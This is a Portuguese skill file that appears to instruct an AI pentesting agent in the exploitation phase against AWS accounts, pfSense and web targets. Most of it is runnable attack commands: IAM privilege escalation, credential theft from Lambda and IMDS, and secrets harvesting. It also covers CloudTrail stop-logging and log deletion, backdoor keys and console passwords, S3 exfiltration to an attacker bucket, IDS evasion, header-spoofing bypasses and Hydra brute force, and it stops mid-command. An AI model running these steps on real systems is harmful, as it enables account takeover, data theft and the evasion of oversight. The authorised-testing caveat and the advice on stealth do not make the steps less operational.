Pentest especializado para Palo Alto Networks PAN-OS — cobre CVE-2026-0300 (buffer overflow RCE), User-ID Auth Portal, e superfície de ataque completa

2026-05-185

pentest-pfsense

bob-reis/claude-pentest-skills

Pentest especializado para pfSense CE e Plus — cobre todas as superfícies de ataque a partir da rede externa e interna, mapeado ao PTES e ao código-fonte real do pfSense

2026-05-185

تشغيل أي مهارة بنقرة واحدة

name	pentest-exploitation
description	PTES Phase 5 - Exploitation for AWS security assessments using WorstAssume attack chain detection
type	skill

PTES Phase 5: Exploitation

🎯 pfSense Detection & Routing

IMPORTANTE: Se durante a exploração você identificar pfSense, ATIVE A SKILL pentest-pfsense imediatamente.

Indicadores de pfSense

# Default credentials test
curl -sk -c cookies.txt -d "usernamefld=admin&passwordfld=pfsense&login=Sign+In" https://TARGET/

# Web GUI check
curl -sk https://TARGET/ | grep -iE "pfSense|Netgate|login_button"

# Service enumeration
nmap -sV -p 443,22,1194,500 TARGET | grep -iE "nginx|openssh|openvpn"

Sinais de Alerta

Credenciais padrão funcionam (admin:pfsense)
Web GUI pfSense acessível
diag_command.php acessível (RCE pós-auth)
XMLRPC disponível (exec_shell, exec_php)
Pacotes vulneráveis (pfBlockerNG, Suricata, Snort)

Ação Imediata

# Se pfSense detectado → ATIVAR pentest-pfsense skill
# Esta skill continua para exploração geral (AWS)
# Use pentest-pfsense para:
# - CVE-2023-42326: Command Injection (interfaces_gif_edit.php)
# - CVE-2025-53392: Arbitrary File Read (diag_command.php)
# - CVE-2023-48123: Packet Capture RCE
# - CVE-2022-40624: pfBlockerNG Host Header RCE
# - CVE-2025-12490: Suricata/Snort Path Traversal → RCE
# - XMLRPC exec_shell/exec_php exploitation

Objetivo

Explorar ativamente as vulnerabilidades identificadas para confirmar impacto real e simular ataques de um adversário, seguindo PTES Section 4 (Exploitation).

WorstAssume Attack Chain Engine (worstassume/core/attack_chains.py)

7 Attack Chain Families

# Family I - IAM Self-Modification (attack_chains.py:278-338)
I. CreatePolicy + AttachUserPolicy → Self Admin Escalation
   - Severity: CRITICAL
   - Steps: CreatePolicy → AttachUserPolicy → Admin Access

II. CreatePolicy + AttachRolePolicy → Role Privilege Escalation
   - Severity: CRITICAL
   - Steps: CreatePolicy → AttachRolePolicy → AssumeRole

# Family II - PassRole + Compute Service (attack_chains.py:343-403)
II. PassRole + CloudFormation CreateStack → IAM User Creation
    - Chain-ID: PassRole+CFN→IAMUser
    - Severity: CRITICAL
    
II. PassRole + Lambda CreateFunction → Steal Execution Role
    - Chain-ID: PassRole+Lambda→StealRole
    - Severity: CRITICAL

II. PassRole + EC2 RunInstances → IMDS Credential Theft
    - Chain-ID: PassRole+EC2→IMDSSteal
    - Severity: HIGH

# Family III - Compute Credential Theft (attack_chains.py:406-522)
III. SSM SendCommand → Steal Instance Profile
     - Chain-ID: SSMSendCommand→StealInstanceRole
     - Severity: HIGH

III. EC2 ModifyUserData → Steal Role via UserData
     - Chain-ID: EC2ModifyUserData→StealRole
     - Severity: HIGH

III. Lambda UpdateCode → Steal Execution Role
     - Chain-ID: Lambda:UpdateCode→StealExecRole
     - Severity: HIGH

III. ECS UpdateService → Steal Task Role
     - Chain-ID: ECS:UpdateService→StealTaskRole
     - Severity: HIGH

# Family IV - Secret Exfiltration → Credential Reuse (attack_chains.py:525-620)
IV. SecretsManager GetSecretValue → IAM Key Reuse
    - Chain-ID: SecretsManager→IAMKeyReuse
    - Severity: HIGH/MEDIUM

IV. SSM GetParameter → IAM Key Reuse
    - Chain-ID: SSMParameter→IAMKeyReuse
    - Severity: HIGH/MEDIUM

IV. Lambda GetFunction → Env Secrets
    - Chain-ID: Lambda:GetFunction→EnvSecrets
    - Severity: MEDIUM

IV. S3 GetObject → Credential Files
    - Chain-ID: S3:GetObject→CredFile
    - Severity: MEDIUM

# Family V - Account Takeover (attack_chains.py:623-729)
V. UpdateLoginProfile → Console Takeover
   - Chain-ID: UpdateLoginProfile→ConsoleTakeover
   - Severity: CRITICAL

V. MFA Bypass + UpdateLogin → Takeover Without MFA
   - Chain-ID: MFABypass+UpdateLogin→Takeover
   - Severity: CRITICAL

V. CreateAccessKey → Persistent Admin Access
   - Chain-ID: CreateAccessKey→PersistentAdmin
   - Severity: CRITICAL

V. UpdateAssumeRolePolicy + AssumeRole → Role Takeover
   - Chain-ID: UpdateAssumeRole+AssumeRole→Takeover
   - Severity: CRITICAL

# Family VI - Group Membership (attack_chains.py:732-779)
VI. AddUserToGroup → Join High-Privilege Group
    - Chain-ID: AddUserToGroup→GroupPrivEsc
    - Severity: HIGH

VI. PutGroupPolicy + AddUserToGroup → Self-Escalation
    - Chain-ID: PutGroupPolicy+AddUser→SelfEscalation
    - Severity: CRITICAL

# Family VII - Cross-Account Lateral Movement (attack_chains.py:782-846)
VII. WildcardTrust → Any Principal Assumes High-Priv Role
     - Chain-ID: WildcardTrust→AnyPrincipalAssume
     - Severity: CRITICAL

VII. Cross-Account Trust → Dangerous Role → Lateral Movement
     - Chain-ID: CrossAccount→DangerousRole
     - Severity: CRITICAL

PrivEsc Finding Families (A-F)

# Family A - IAM Policy Manipulation (attack_chains.py:1018-1099)
A. CreatePolicyVersion (CRITICAL)
B. SetDefaultPolicyVersion (CRITICAL)
C. AttachUserPolicy (CRITICAL)
D. AttachRolePolicy (CRITICAL)
E. AttachGroupPolicy (CRITICAL)
F. PutUserPolicy (CRITICAL)
G. PutRolePolicy (CRITICAL)
H. PutGroupPolicy (CRITICAL)
I. CreatePolicy (HIGH)
J. AddUserToGroup (HIGH)

# Family B - Role Trust/Assumption Manipulation (attack_chains.py:1102-1126)
A. UpdateAssumeRolePolicy (CRITICAL)
B. WildcardTrustPrincipal (CRITICAL)
C. AssumeRoleWildcardResource (HIGH)

# Family C - Compute: PassRole + Resource Abuse (attack_chains.py:1129-1234)
A. PassRole+Lambda:CreateFunction (CRITICAL)
B. PassRole+Lambda:UpdateFunctionCode (HIGH)
C. PassRole+EC2:RunInstances (HIGH)
D. PassRole+ECS:RegisterTaskDefinition (HIGH)
E. PassRole+ECS:UpdateService (HIGH)
F. PassRole+CloudFormation:CreateStack (CRITICAL)
G. PassRole+CloudFormation:UpdateStack (HIGH)
H. PassRole+Glue:CreateJob (HIGH)
I. PassRole+SageMaker:CreateTrainingJob (HIGH)
J. PassRole+CodeBuild:CreateProject (HIGH)
K. PassRole+DataPipeline (MEDIUM)
L. PassRole+SSM:SendCommand (HIGH)

# Family D - Credential/Key Exfiltration (attack_chains.py:1237-1295)
A. EC2:ModifyInstanceAttribute (HIGH)
B. SSM:SendCommand (HIGH)
C. SecretsManager:GetSecretValue (HIGH)
D. SSM:GetParameter (MEDIUM)
E. Lambda:GetFunction (MEDIUM)
F. S3:GetObject:Wildcard (MEDIUM)

# Family E - Service-Specific Escalation (attack_chains.py:1298-1344)
A. UpdateLoginProfile (CRITICAL)
B. CreateLoginProfile (HIGH)
C. CreateAccessKey (CRITICAL)
D. UpdateAccessKey (MEDIUM)
E. MFABypass (HIGH)

# Family F - Trust Condition Bypass (attack_chains.py:1347-1426)
A. TrustPolicyNoCondition (HIGH)
B. TrustPolicyNoExternalId (HIGH)
C. TrustPolicyNoMFARequired (MEDIUM)

PATH-IDs (42 Attack Paths)

PATH-001: iam:CreatePolicyVersion → Admin em qualquer policy gerenciada
PATH-002: iam:SetDefaultPolicyVersion → Ativar versão dormante
PATH-003: iam:AttachUserPolicy → Attach em user
PATH-004: iam:AttachRolePolicy → Attach em role
PATH-005: iam:AttachGroupPolicy → Attach em group
PATH-006: iam:PutUserPolicy → Inline policy em user
PATH-007: iam:PutRolePolicy → Inline policy em role
PATH-008: iam:PutGroupPolicy → Inline policy em group
PATH-009: iam:AddUserToGroup → Herdar permissões
PATH-010: iam:UpdateAssumeRolePolicy → Modificar trust
PATH-011: iam:CreateAccessKey → Key persistente
PATH-012: iam:CreateLoginProfile → Console access
PATH-013: iam:UpdateLoginProfile → Overwrite password
PATH-014: IMDSv1 → Credential theft (IMDSv1 enabled)
PATH-015: ec2:RunInstances + iam:PassRole → EC2 instance profile
PATH-016: lambda:CreateFunction + iam:PassRole → Lambda execution role
PATH-018: lambda:CreateEventSourceMapping → Auto-trigger
PATH-019: lambda:UpdateFunctionCode → Inject code
PATH-020: lambda:UpdateFunctionConfiguration → Malicious layer
PATH-021: glue:CreateDevEndpoint → SSH access
PATH-022: glue:UpdateDevEndpoint → SSH key injection
PATH-023: cloudformation:CreateStack → Service role
PATH-024: datapipeline:CreatePipeline → Shell activity
PATH-025: sagemaker:CreateNotebookInstance → Notebook
PATH-026: sagemaker:CreatePresignedUrl → Session hijack
PATH-027: codestar:CreateProject → Project role
PATH-030: sts:AssumeRole (same-account) → Role assumption
PATH-031: sts:AssumeRole (cross-account) → Lateral movement
PATH-032: ssm:SendCommand → RCE via Run Command
PATH-033: ec2:InstanceConnect → SSH via public key
PATH-035: s3:PutBucketPolicy → Bucket access
PATH-036: secretsmanager:GetSecretValue → Secret harvest
PATH-037: ecs-tasks:GetTaskMetadata → Task role creds
PATH-042: cloudtrail:StopLogging / guardduty:DeleteDetector → Defensive blinding

Referências PTES para Exploitation

PTES 4.1 - Precision Strike

4.1.1 Countermeasure Bypass:
- 4.1.1.1 AV (Antivirus)
- 4.1.1.2 Human (Social Engineering)
- 4.1.1.3 HIPS (Host Intrusion Prevention)
- 4.1.1.4 DEP (Data Execution Prevention)
- 4.1.1.5 ASLR (Address Space Layout Randomization)
- 4.1.1.8 WAF (Web Application Firewall)
- 4.1.1.9 Stack Canaries

PTES 4.2 - Customized Exploitation

4.2.1 Fuzzing (Dumb, Intelligent)
4.2.4 Sniffing (Wireshark, Tcpdump)
4.2.5 Brute-Force (THC-Hydra, Medusa, Ncrack)
4.2.14 VLAN Hopping
4.2.15 VTP Attacks

PTES 4.4 - Attacking the User

4.4.1 Karmetasploit Attacks
4.4.5 Web Attacks (SQLi, XSS, CSRF)
4.4.10 The Social-Engineer Toolkit (SET)

PTES 4.7 - Pillaging

4.7.2 Data Exfiltration
4.7.3 Locating Shares
4.7.6 Database Enumeration
4.7.8 Source Code Repos
4.7.11 Backups

PTES 4.9 - Further Penetration

4.9.1 Pivoting Inside (History/Logs)
4.9.2 Cleanup

PTES 4.10 - Persistence

⚠️ AVISO IMPORTANTE

Execute apenas em ambientes autorizados
Tenha approval explícito para cada técnica de exploração
Documente todas as ações para o relatório
Use stealth mode quando necessário para evitar detecção

Exploração com WorstAssume

1. Descoberta de Attack Paths (PTES 4.2 - Customized Exploitation)

# Encontrar todos os paths de privilege escalation
worst privesc --from arn:aws:iam::ACCOUNT:user/USER

# Paths com target específico (permission)
worst privesc --from arn:aws:iam::ACCOUNT:user/USER --target "permission:*:*"

# Paths com target específico (role)
worst privesc --from arn:aws:iam::ACCOUNT:user/USER --target "principal:arn:aws:iam::ACCOUNT:role/Admin"

# Output em JSON para automação (PTES 4.9 - Pivoting)
worst privesc --from <arn> --output json

# Limitar hops (para ambientes grandes)
worst privesc --from <arn> --max-hops 5

2. Técnicas de Exploração por Categoria (PTES 4.1 - Precision Strike)

EXPLOIT-IAM-001: Policy Version Creation (PTES 4.1.1 - Countermeasure Bypass)

VULNERABILITY: iam:CreatePolicyVersion
PATH-ID: PATH-001
SEVERITY: CRITICAL
PTES: 4.1.1 - Countermeasure Bypass

EXPLOITATION STEPS:
1. Identificar policy gerenciada acessível
2. Criar nova versão com AdministratorAccess
3. Definir como versão default
4. Acessar com privilégios elevados

COMANDOS DE EXPLORAÇÃO:
# Criar nova versão da policy
aws iam create-policy-version \
  --policy-arn arn:aws:iam::ACCOUNT:policy/TargetPolicy \
  --policy-document file://admin-policy.json \
  --set-as-default

# Policy document malicioso
{
  "Version": "2012-10-17",
  "Statement": [{
    "Effect": "Allow",
    "Action": "*",
    "Resource": "*"
  }]
}

VERIFICAÇÃO:
aws iam list-policy-versions --policy-arn <arn>

EXPLOIT-IAM-002: Attach Policy (PTES 4.2 - Customized Exploitation)

VULNERABILITY: iam:AttachUserPolicy / iam:AttachRolePolicy
PATH-ID: PATH-003, PATH-004
SEVERITY: CRITICAL
PTES: 4.2 - Customized Exploitation

EXPLOITATION STEPS:
1. Identificar policy com AdministratorAccess
2. Attach policy ao próprio user/role
3. Aguardar propagação (~30 segundos)
4. Verificar novas permissões

COMANDOS DE EXPLORAÇÃO:
aws iam attach-user-policy \
  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess \
  --user-name <self-user>

VERIFICAÇÃO:
aws iam list-attached-user-policies --user-name <user>

EXPLOIT-IAM-003: Inline Policy Injection (PTES 4.2.1 - Fuzzing)

VULNERABILITY: iam:PutUserPolicy / iam:PutRolePolicy
PATH-ID: PATH-006, PATH-007
SEVERITY: CRITICAL
PTES: 4.2.1 - Fuzzing

EXPLOITATION STEPS:
1. Criar policy document malicioso
2. Inject inline policy no target
3. Usar novas permissões

COMANDOS DE EXPLORAÇÃO:
aws iam put-user-policy \
  --user-name <target-user> \
  --policy-name BackdoorPolicy \
  --policy-document file://admin-policy.json

EXPLOIT-IAM-004: Group Membership Escalation (PTES 4.7.3 - Locating Shares)

VULNERABILITY: iam:AddUserToGroup
PATH-ID: PATH-009
SEVERITY: HIGH
PTES: 4.7.3 - Locating Shares

EXPLOITATION STEPS:
1. Identificar grupo com permissões elevadas
2. Adicionar próprio user ao grupo
3. Herdar permissões do grupo

COMANDOS DE EXPLORAÇÃO:
aws iam add-user-to-group \
  --user-name <self-user> \
  --group-name AdminGroup

VERIFICAÇÃO:
aws iam list-groups-for-user --user-name <user>

EXPLOIT-IAM-005: Trust Policy Modification (PTES 4.2 - Customized Exploitation)

VULNERABILITY: iam:UpdateAssumeRolePolicy
PATH-ID: PATH-010
SEVERITY: CRITICAL
PTES: 4.2 - Customized Exploitation

EXPLOITATION STEPS:
1. Identificar role de alto valor
2. Modificar trust policy para incluir próprio ARN
3. Assumir a role
4. Acessar com privilégios elevados

COMANDOS DE EXPLORAÇÃO:
# Criar novo trust policy
{
  "Version": "2012-10-17",
  "Statement": [{
    "Effect": "Allow",
    "Principal": {
      "AWS": [
        "arn:aws:iam::ACCOUNT:user/attacker",
        "arn:aws:iam::ACCOUNT:role/original-role"
      ]
    },
    "Action": "sts:AssumeRole"
  }]
}

# Atualizar trust policy
aws iam update-assume-role-policy \
  --role-name <target-role> \
  --policy-document file://new-trust.json

# Assumir role
aws sts assume-role \
  --role-arn arn:aws:iam::ACCOUNT:role/target-role \
  --role-session-name exploitation

EXPLOIT-IAM-006: Credential Creation (PTES 4.7 - Pillaging)

VULNERABILITY: iam:CreateAccessKey / iam:CreateLoginProfile
PATH-ID: PATH-011, PATH-012
SEVERITY: CRITICAL
PTES: 4.7 - Pillaging

EXPLOITATION STEPS (Access Key):
1. Identificar user alvo (admin)
2. Criar access key para o user
3. Salvar credenciais
4. Usar credenciais persistentes

COMANDOS DE EXPLORAÇÃO:
aws iam create-access-key --user-name <admin-user>

# Output:
# {
#   "AccessKey": {
#     "AccessKeyId": "AKIA...",
#     "SecretAccessKey": "secret..."
#   }
# }

# Configurar perfil
aws configure set aws_access_key_id AKIA... --profile compromised
aws configure set aws_secret_access_key secret... --profile compromised

EXPLOITATION STEPS (Console):
aws iam create-login-profile \
  --user-name <admin-user> \
  --password 'SecurePassword123!' \
  --no-password-reset-required

ACESSO:
https://ACCOUNT_ID.signin.aws.amazon.com/console
Username: <admin-user>
Password: SecurePassword123!

EXPLOIT-COMPUTE-001: PassRole + Lambda (PTES 4.2 - Customized Exploitation)

VULNERABILITY: iam:PassRole + lambda:CreateFunction
PATH-ID: PATH-016
SEVERITY: CRITICAL
PTES: 4.2 - Customized Exploitation

EXPLOITATION STEPS:
1. Identificar role com permissões elevadas
2. Criar Lambda function com essa role
3. Inject código malicioso
4. Invocar function
5. Coletar credenciais da role

COMANDOS DE EXPLORAÇÃO:
# Criar deployment package
mkdir lambda_function
cd lambda_function
echo "import os
def lambda_handler(event, context):
    return {
        'access_key': os.environ['AWS_ACCESS_KEY_ID'],
        'secret_key': os.environ['AWS_SECRET_ACCESS_KEY'],
        'session_token': os.environ.get('AWS_SESSION_TOKEN', '')
    }" > lambda_function.py
zip -r function.zip .

# Criar function
aws lambda create-function \
  --function-name exfil-function \
  --runtime python3.9 \
  --role arn:aws:iam::ACCOUNT:role/high-priv-role \
  --handler lambda_function.lambda_handler \
  --zip-file fileb://function.zip

# Invocar
aws lambda invoke \
  --function-name exfil-function \
  --cli-binary-format raw-in-base64-out \
  --payload '{}' \
  output.json

cat output.json

EXPLOIT-COMPUTE-002: PassRole + EC2 (PTES 4.7.2 - Data Exfiltration)

VULNERABILITY: iam:PassRole + ec2:RunInstances
PATH-ID: PATH-015
SEVERITY: HIGH
PTES: 4.7.2 - Data Exfiltration

EXPLOITATION STEPS:
1. Identificar role com permissões elevadas
2. Launch EC2 instance com instance profile
3. Acessar instância (SSH/SSM)
4. Coletar credenciais do IMDS

COMANDOS DE EXPLORAÇÃO:
aws ec2 run-instances \
  --image-id ami-0c55b159cbfafe1f0 \
  --instance-type t2.micro \
  --iam-instance-profile Name=high-priv-profile \
  --security-group-ids sg-xxx \
  --subnet-id subnet-xxx

# Acessar via SSM
aws ssm start-session --target <instance-id>

# Coletar credenciais (dentro da instância)
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>

EXPLOIT-COMPUTE-003: SSM Lateral Movement (PTES 4.9 - Pivoting)

VULNERABILITY: ssm:SendCommand
PATH-ID: PATH-032
SEVERITY: HIGH
PTES: 4.9.1 - Pivoting Inside

EXPLOITATION STEPS:
1. Identificar EC2 instances gerenciadas pelo SSM
2. Enviar Run Command
3. Executar comandos como a role da instância

COMANDOS DE EXPLORAÇÃO:
aws ssm send-command \
  --document-name "AWS-RunShellScript" \
  --targets "Key=instanceIds,Values=<instance-id>" \
  --parameters 'commands=["curl http://169.254.169.254/latest/meta-data/iam/security-credentials/"]' \
  --comment "Exploitation test"

# Ver resultado
aws ssm list-command-invocations --command-id <command-id> --details

EXPLOIT-DATA-001: Secrets Manager Harvest (PTES 4.7 - Pillaging)

VULNERABILITY: secretsmanager:GetSecretValue
PATH-ID: PATH-036
SEVERITY: HIGH
PTES: 4.7 - Pillaging

EXPLOITATION STEPS:
1. Listar todos os secrets
2. Ler valor de cada secret
3. Extrair credenciais/dados sensíveis

COMANDOS DE EXPLORAÇÃO:
# Listar secrets
aws secretsmanager list-secrets --query 'SecretList[].{Name:Name,ARN:ARN}'

# Ler cada secret
aws secretsmanager get-secret-value --secret-id <secret-name> --query 'SecretString' --output text

EXPLOIT-CROSS-001: Cross-Account Assumption (PTES 4.9 - Pivoting)

VULNERABILITY: Cross-account trust + sts:AssumeRole
PATH-ID: PATH-031
SEVERITY: CRITICAL
PTES: 4.9.1 - Pivoting Inside

EXPLOITATION STEPS:
1. Identificar role cross-account com trust adequado
2. Assumir role da conta alvo
3. Executar ações na conta alvo

COMANDOS DE EXPLORAÇÃO:
aws sts assume-role \
  --role-arn arn:aws:iam::TARGET_ACCOUNT:role/cross-account-role \
  --role-session-name cross-account-exploit

# Configurar credenciais da conta alvo
export AWS_ACCESS_KEY_ID=<from assume-role output>
export AWS_SECRET_ACCESS_KEY=<from assume-role output>
export AWS_SESSION_TOKEN=<from assume-role output>

# Verificar identidade na conta alvo
aws sts get-caller-identity

3. Cadeias de Exploração Completa (PTES 4.2 - Customized Exploitation)

Chain A: IAM → Admin Completo (PTES 4.1 - Precision Strike)

CHAIN: CreatePolicy + AttachUserPolicy
PTES: 4.1 - Precision Strike
STEPS:
1. aws iam create-policy-version --policy-arn <policy> --policy-document admin.json --set-as-default
2. aws iam attach-user-policy --policy-arn <policy> --user-name <self>
3. aws sts get-caller-identity (verificar permissões)

IMPACTO: Admin completo na conta

Chain B: PassRole → Lambda → Admin (PTES 4.2 - Customized Exploitation)

CHAIN: PassRole + Lambda CreateFunction
PTES: 4.2 - Customized Exploitation
STEPS:
1. aws lambda create-function --role <high-priv-role> --function-name backdoor
2. aws lambda invoke --function-name backdoor
3. Coletar credenciais do output

IMPACTO: Credenciais de role administrativa

Chain C: Cross-Account → Lateral Movement (PTES 4.9 - Pivoting)

CHAIN: Cross-Account Trust → Dangerous Role
PTES: 4.9.1 - Pivoting Inside
STEPS:
1. aws sts assume-role --role-arn arn:aws:iam::TARGET:role/exploit
2. aws iam attach-user-policy (na conta alvo)
3. aws s3 ls (acessar dados na conta alvo)

IMPACTO: Comprometimento de múltiplas contas

EXPLOIT-NET-000: Network Reconnaissance com Naabu (PTES 4.1 - Precision Strike)

Nota: Antes de explorar, use Naabu para identificar superfície de ataque:

# Identificar portas abertas (alvos potenciais)
naabu -host target.com -p - -silent

# Com service discovery
naabu -host target.com -p - -sV -silent

# Identificar CDN/WAF
naabu -host target.com -ec -cdn -silent

# Output para análise
naabu -host target.com -j -o scan-results.json

Use os resultados do Naabu para priorizar alvos de exploração.

EXPLOIT-NET-001: Firewall Bypass e IDS Evasion com hping3 (PTES 4.1.1 - Countermeasure Bypass)

VULNERABILITY: Firewall ruleset misconfiguration / IDS evasion
TOOL: hping3 (instalado no Kali Linux)
SEVERITY: HIGH (depende do contexto)
PTES: 4.1.1 - Countermeasure Bypass / 4.2.5 - Brute-Force

QUANDO USAR:
- Firewall stateless detectado na fase de Intelligence Gathering
- IDS/IPS precisa ser testado para detecção de scans
- Necessário bypass de filtros de pacote por fragmentação
- Testar rate limiting de rede
- Mapear comportamento de firewall para exploração posterior

EXPLOITATION STEPS:

1. ACK Scan para bypass de firewall stateless
   hping3 -A -p 80 target.com
   # RST = porta não filtrada (firewall stateless não rastreia estado)
   # Sem resposta = firewall stateful ou drop

2. SYN Scan com fragmentação (bypass de ACLs)
   hping3 -S -p 80 -f target.com
   # Fragmenta packets em 2 partes, bypass de regras simples

3. XMAS Scan para evasão de IDS básico
   hping3 -F -P -U -p 80 target.com
   # Flags FIN+PUSH+URG, padrão anômalo que alguns IDS não detectam

4. NULL Scan (sem flags)
   hping3 -O -p 80 target.com
   # Nenhuma flag TCP, bypass de filtros baseados em flags

5. Source IP Spoofing para testes de IDS
   hping3 -S -p 80 -a 10.0.0.1 target.com
   # Testa se IDS correlaciona respostas com origem real

6. Random source IP (teste de detecção de spoofing)
   hping3 -S -p 80 --rand-source target.com

INTERPRETAÇÃO DOS RESULTADOS:
- SYN-ACK recebido = porta aberta (firewall permite)
- RST recebido = porta fechada (firewall permite)
- Sem resposta = porta filtrada ou drop pelo firewall

PAYLOADS DE FRAGMENTAÇÃO:
# Fragmentação manual com offset customizado
hping3 -S -p 80 -f -g 8 target.com  # offset de 8 bytes

# MTU virtual para fragmentação automática
hping3 -S -p 80 -m 16 target.com  # MTU de 16 bytes

DEFENSIVE BLINDING TEST (PTES 4.9.2 - Cleanup):
# Testar se tráfego é logado
hping3 -S -p 80 -c 10 target.com
# Verificar logs do firewall/IDS após scan

TEMPLATE DE FINDING:
FINDING: FIREWALL-BYPASS-HPING3
CATEGORY: NETWORK_EXPLOITATION
SEVERITY: HIGH
PTES: 4.1.1 - Countermeasure Bypass

TARGET:
- IP/Hostname: [target]
- Portas acessíveis via bypass: [lista]

DESCRIPTION:
Firewall stateless detectado permite bypass via ACK scan.
Portas [X, Y, Z] acessíveis usando técnicas de evasão.

EVIDENCE:
hping3 -A -p 80 target.com → RST recebido (não filtrado)

PTES REFERENCE: Section 4.1.1 (Countermeasure Bypass)

EXPLOIT-WEB-001: HTTP Header Injection - IP Bypass com headi (PTES 4.1.1.8 - WAF Bypass)

VULNERABILITY: Controle de acesso baseado em IP via headers HTTP
TOOL: headi (instalado em /opt/Tools/HTTP-Injection/headi)
SEVERITY: HIGH/CRITICAL
PTES: 4.1.1.8 - WAF Bypass / 4.2 - Customized Exploitation

QUANDO USAR:
- Recurso retorna 403/401 por restrição de IP
- Suspeita de proxy reverso que confia em headers do cliente
- Endpoint interno acessível via header spoofing
- Bypass de WAF por IP whitelist

EXPLOITATION STEPS:
1. Confirmar o bloqueio baseline
   curl -v https://target.com/restricted → 403 Forbidden

2. Executar headi com payloads padrão (localhost bypass)
   headi -u https://target.com/restricted

3. Se IPs internos foram enumerados na fase de Intelligence Gathering:
   headi -u https://target.com/restricted -p internal_ips.txt

4. Confirmar bypass manualmente com o header identificado
   curl -H "X-Forwarded-For: 127.0.0.1" https://target.com/restricted
   curl -H "X-Real-IP: 127.0.0.1" https://target.com/restricted

5. Explorar o recurso agora acessível

INTERPRETAÇÃO DO OUTPUT:
[+] verde = mudança no Content-Length → bypass em potencial
[-] vermelho = sem mudança

Exemplo positivo:
[+] [https://target.com/admin] [X-Forwarded-For: 127.0.0.1] [Code: 200] [Size: 8192]

PAYLOADS PADRÃO DO HEADI:
127.0.0.1, localhost, 0.0.0.0, 0, 127.1, 127.0.1, 2130706433

HEADERS MAIS EFETIVOS PARA BYPASS:
- X-Forwarded-For (mais comum em proxies/load balancers)
- X-Real-IP (nginx)
- X-Custom-IP-Authorization (aplicações customizadas)
- True-Client-IP (Cloudflare)
- X-Original-URL / X-Rewrite-URL (IIS/mod_rewrite bypass)

VARIAÇÃO - SSRF via Host header:
headi pode identificar Host header injection → use para SSRF
curl -H "X-Forwarded-Host: attacker.com" https://target.com/

4. Técnicas de Evasão (PTES 4.1.1 - Countermeasure Bypass)

Evitar CloudTrail Detection (PTES 4.1.1 - Bypass)

# Usar endpoints VPC (não logged)
aws s3 ls --endpoint-url https://s3.vpce.amazonaws.com

# Usar sessões temporárias (menor rastro)
aws sts assume-role --role-arn <role> --role-session-name temp

# Evitar ações de escrita destrutivas
# Em vez de DeleteBucket: apenas listar
aws s3 ls s3://target-bucket

Rate Limiting (PTES 4.1.1 - Human Bypass)

# Adicionar delay entre comandos
sleep 2 && aws iam attach-user-policy ...
sleep 2 && aws sts get-caller-identity

Log Deletion (PTES 4.9.2 - Cleanup)

# Parar CloudTrail (apenas se autorizado!)
aws cloudtrail stop-logging --name <trail-name>

# Deletar logs específicos
aws logs delete-log-group --log-group-name /aws/cloudtrail/...

5. Documentação da Exploração (PTES 6.2 - Technical Reporting)

Template de Evidência (PTES 4.7 - Pillaging)

EXPLOITATION: [Nome da técnica]
DATE: [YYYY-MM-DD HH:MM:SS UTC]
TARGET: [ARN do recurso]
PATH-ID: [PATH-XXX]
PTES SECTION: [4.1/4.2/4.4/4.7/4.9]

PRE-EXPLOITATION STATE:
[Estado antes da exploração]

COMMANDS EXECUTED:
[Comandos exatos executados]

POST-EXPLOITATION STATE:
[Estado após exploração]

EVIDENCE:
[Screenshots, outputs, logs]

IMPACT CONFIRMED:
[O que foi confirmado com esta exploração]

PTES REFERENCE:
- Section: [PTES 4.x]
- Subsection: [Specific technique]

6. Validação de Sucesso (PTES 4.9 - Pivoting)

# Verificar permissões atuais
aws sts get-caller-identity

# Listar permissões efetivas
aws iam simulate-principal-policy \
  --policy-source-arn <self-arn> \
  --action-names "*" \
  --resource-arns "*"

# Verificar acesso a recursos críticos
aws s3 ls
aws secretsmanager list-secrets
aws ec2 describe-instances

7. Persistence Techniques (PTES 4.10 - Persistence)

Backdoor Access Keys

# Criar access key persistente (apenas se autorizado!)
aws iam create-access-key --user-name <compromised-user>

# Guardar para acesso futuro
# ARN: AKIA...
# Secret: ...

Login Profile Creation

# Criar console access
aws iam create-login-profile \
  --user-name <compromised-user> \
  --password 'BackdoorPassword123!' \
  --no-password-reset-required

Lambda Backdoor

# Criar Lambda com trigger
aws lambda create-function \
  --function-name backdoor-function \
  --runtime python3.9 \
  --role arn:aws:iam::ACCOUNT:role/backdoor-role \
  --handler lambda_function.lambda_handler \
  --zip-file fileb://backdoor.zip

8. Data Exfiltration (PTES 4.7.2 - Data Exfiltration)

S3 Exfiltration

# Listar buckets acessíveis
aws s3 ls

# Copiar dados para bucket controlado
aws s3 cp s3://target-bucket/sensitive-data/ s3://attacker-bucket/ --recursive

Secrets Exfiltration

# Exportar todos os secrets
aws secretsmanager list-secrets --query 'SecretList[].Name' | xargs -I {} \
  aws secretsmanager get-secret-value --secret-id {} >> exfiltrated-secrets.txt

Database Dump

# Conectar ao RDS via SSM
aws ssm start-session --target <instance-id>

# Dump database
mysqldump -h <rds-endpoint> -u admin -p database > dump.sql

9. Output Esperado desta Fase (PTES Deliverables)

Exploitation Report (PTES 4 - Exploitation)

Lista de vulnerabilities exploradas com sucesso (PTES 4.1 - Precision Strike)
Evidências de cada exploração (screenshots, outputs) (PTES 4.7 - Pillaging)
Attack paths confirmados (PTES 4.2 - Customized Exploitation)
Credenciais comprometidas (para relatório) (PTES 4.7 - Pillaging)
Impacto real validado (PTES 4.9 - Pivoting)
Persistence mechanisms established (PTES 4.10 - Persistence)
Data exfiltration evidence (PTES 4.7.2 - Data Exfiltration)
Password audit results (security-passwords plugin)
CTF exploitation techniques applied (ctf-assistant agent)

Password Attacks com security-passwords

Recursos Disponíveis (`security-passwords` plugin)

Local: `seclists-categories passwords/passwords/references/`

Wordlists Disponíveis:
- `500-worst-passwords.txt` - Quick tests for weak passwords
- `10k-most-common.txt` - Common passwords for brute force
- `100k-most-used-passwords-NCSC.txt` - NCSC password list
- `probable-v2_top-12000.txt` - Statistically probable passwords
- `darkweb2017_top-100.txt` - Dark web breach compilations
- `darkweb2017_top-1000.txt` - Extended dark web list
- `darkweb2017_top-10000.txt` - Full dark web compilation
- `2024-197_most_used_passwords.txt` - Recent password analysis
- `top-passwords-shortlist.txt` - Quick reference list
- `best1050.txt` - Curated best passwords list

Brute Force Attacks (PTES 4.2.5 - Brute-Force)

# Hydra - SSH brute force
hydra -L seclists-categories/usernames/top-usernames-shortlist.txt \
      -P seclists-category/passwords/500-worst-passwords.txt \
      ssh://target.com

# Hydra - HTTP POST form
hydra -l admin -P seclists-category/passwords/10k-most-common.txt \
